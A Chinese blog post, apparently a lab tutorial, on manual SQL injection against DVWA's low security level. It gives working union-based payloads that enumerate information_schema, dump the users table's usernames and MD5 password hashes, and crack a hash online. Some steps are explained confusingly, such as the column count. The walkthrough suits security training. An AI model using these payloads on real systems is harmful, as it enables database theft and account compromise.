DVWA------sql注入(low)(字符型)

mac2024-11-16  8

=================================================================================

0x01:上low源码

=================================================================================

0x02:sql注入(low)

一、sql注入的过程: 1.寻找注入点 2.判断注入类型 3.判断数据库类型 4.获取数据库内容+提权

二、怎么寻找注入点: 1.注入点特点: ①可以跟数据库直接交互 ②**?id=num** ? 是一种传参的形式,必要的 id=1,有什么用呢,它是用ID的值1与数据库进行交互,从而获得网页内容的回显 ③如下图所示,?id=1,成功返回了网页内容,与数据库是直接交互的 2.注入点类型: ①get型:使用URL框注入 ②post型:使用输入框注入 ③cokkie型 或 ①字符型 ②整型

三、怎么判断注入点类型: get型的注入方法: 一般进去网页后,会在id后面输入,这样的三个语句测试: ?id=1’ ?id=1 and 1=1 ?id=1 and 1=2 整型的判断结果: ?id=1’ 报错 ?id=1’ and 1=1 正常回显 ?id=1’ and 1=2 不正常回显

问:?id=1' and 1=1到底是什么啊?好恶心? 答:?id=1' and 1=1的剖析 ①? //这个符号只是一个固定的传参格式,必须存在 ②id=1 //一个语句,用来向服务器交互时候,调用id=1的内容 ③and //一个逻辑判断符号,逻辑与,众所周知,只有两个表达式同时正确成立,才会运行该命令,才会与sql服务器交互 ④1=1 //恒真,一个真语句 ⑤1=2 //恒假,一个假语句 ⑥?id=1 and 1=1 //是一个真语句,会执行命令与服务器交互 ⑦?id=1 and 1=2 //是一个假语句,不会执行命令与服务器交互 ⑧总之,and 1=2 这个逻辑判断语句就是,用来控制and前面的语句是否执行的

字符型的判断结果: ?id=1’ 报错 ?id=1’ and 1=1 正常回显 ?id=1’ and 1=2 正常回显 ?id=1’ and ‘1’=‘1 正常 ?id=1’ and ‘1’='1 不正常回显

问:为什么要加那么多引号呢?花里胡哨的。。。。。 答:?id=1' and '1'='1 剖析 ①因为已知是字符型格式嘛,那么这条语句实质上是: ?id='1' and '1'='1' 又,由于传输的时候,会自动在输入的值得前后添加一对单引号,所以把最前和最后的单引号去掉就是:?id=1' and '1'='1

例字----post型的注入判断,字符型判断结果: ①输入’ ②结果为:’’’’’

问:你会发现,出现五个单引号,这是为什么呢? 答:从内往外分析! ①一个单引号,这个是自己输入的单引号 ②还有一对单引号为什么,因为,可能是字符型注入?然而字符型时候,系统会自动在参数的一前一后添加一对单引号,例如id='1' ③但是,还有一对引号呢?这个是报错的提示,提示你时候使用单引号达到高亮的效果,只是引住,起到强调的作用。

③输入:1’ and ‘1’=‘1 结果如下: ④输入:1’ and ‘1’='2 注意:结果也如下 三.判断数据库类型 略 四.获取数据库内容+提权 略

=================================================================================

0x03:low等级的手工注入过程如下

第一步:查看注入点,很明显的吧。。。。。

第二步:判断注入类型 ①输入: 1'

//结果如下:报错 ②输入:1 and 1=1

//结果如下:正常回显 ③输入:1 and 1=2 //结果如下:正常回显 ④输入:1' and '1'='1 //结果如下,结果如下:

⑤输入:1' and '1'='2 //结果如下,不正常回显 由此判断为:字符型注入。。。。。。。。。。。。。。。

第三步:判断数据库类型 1.dvwa使用的是mysql数据库

第四步:开始注入数据库,爆库,提权等等 1.使用order by二分法猜测字段个数 ①输入:1' order by 5

如图所示:发现有错误 ②输入:1' order by 5 # //结果如下,这不是报错,这个是显示无法识别有5个列,说明莫得5个列 ③输入:1' order by 3 #

//结果如下,显示莫得3列

④输入:1' order by 4 # //结果如下,显示有两个列 ID: 1’ order by 2 # //注意,这个是命令的回显,只是为了练习的方便,才显示,正常情况莫得的 First name: admin //第一个列 Surname: admin //第二个列 2.联合查询: ①不需要再联合查询,尝试哪个列中可以注入内容 因为:输入:1' union select 1,2 # 结果如下:first name和surname是有内容的 注意:联合查询的1和2只是一个代数

②联合查询,把1和2换成database(),user(),version()等等查看对应的信息 输入:1' union select database(),user() # 结果如下:显示了数据库名字为dvwa,和用户名称为root,@只是一个连接符,hostname为localhost 输入:1' union select version(),2 #

结果如下,显示了数据库版本为5.5.53 3.爆数据库dvwa里的表 方法1:一次性显示表 ①输入,1' union select group_concat(table_name),user() from information_schema.tables where table_schema='dvwa' # 结果如下:一次性爆出了所有的表为:guestbook和users

方法2:一个一个的显示 ②输入,1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

结果如下:有两个表guestbook和users

4.爆出users表里的列 ①输入,1' union select 1,column_name from information_schema.columns where table_name='users'#

结果如下:爆出表users里的内容,有8个列 5.爆出user列和passwd列里的内容信息 ①输入,1' union select 1,group_concat(user,password) from users#

结果如下,但是有些杂乱,全都放到一起了 ②输入,1' union select 1,concat_ws(char(32,58,32),user,password) from users# 注意:32为空格,58为冒号 结果如下:显示了,用户名:密码

上图中的密码经过了md5加密,解密即可,如下,用户admin的密码为password //解密网址:https://www.cmd5.com/

=================================================================================

最新回复(0)